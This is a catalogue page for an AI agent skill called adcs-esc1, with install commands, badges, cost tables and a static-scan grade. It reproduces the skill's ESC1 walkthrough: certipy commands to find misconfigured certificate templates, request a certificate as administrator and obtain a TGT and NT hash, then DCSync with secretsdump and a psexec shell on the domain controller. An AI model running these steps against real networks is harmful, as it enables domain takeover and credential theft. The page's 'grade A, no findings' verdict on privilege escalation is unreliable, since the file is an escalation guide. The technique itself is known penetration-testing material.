Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill adcs-esc1git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/adcs-esc1)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/adcs-esc1"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/adcs-esc1/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/adcs-esc1"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/adcs-esc1.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00030 | $0.01285 |
| Opus 5 | $0.00015 | $0.00642 |
| Sonnet 5 | $0.00006 | $0.00257 |
| Haiku 4.5 | $0.00003 | $0.00128 |
Grade A, and why
adcs-esc1 scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
94% identical to adcs-esc1 — 5 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 129 lines — stays where its author put it; the contents beside it link to each section on GitHub.
ADCS ESC1 Exploitation
ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.
1. Enumerate templates
# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
-output /tmp/adcs -text -stdout > /tmp/adcs.txt
# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
-output /tmp/adcs.json
Atlas ingest:
adcs_audit("/tmp/adcs.json")
2. Identify ESC1 candidates
A template is ESC1-vulnerable when ALL true:
Enrollment Rightsincludes a group the attacker is in (Domain Users / Authenticated Users is jackpot)Client Authentication EKUorSmart Card Logon EKUorAny PurposeEnrollee Supplies Subjectflag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)Manager ApprovaldisabledAuthorized Signatures Requiredis 0
certipy output marks these clearly:
[!] Vulnerabilities
ESC1 : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
3. Request the cert as Domain Admin
certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
-target CA_FQDN -template VULNERABLE_TEMPLATE \
-upn 'administrator@dom' \
-dc-ip DC_IP \
-out /tmp/admin.pfx
The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT
is set, the CA issues a cert with that UPN even though we're a regular
user requesting it.
4. Authenticate as Domain Admin
PKINIT (cert → TGT):
certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed
You get back:
- A TGT in
administrator.ccache(use w/export KRB5CCNAME=...) - The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)
5. Operate as Domain Admin
With NT hash:
# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc
# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'
# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 129 lines · 30 tokens per session scan A 6f5c3916c226
adcs-esc1 is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 30 tokens to every session and 1,285 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 94% identical to adcs-esc1, differing in 5 lines, and is treated as a copy.
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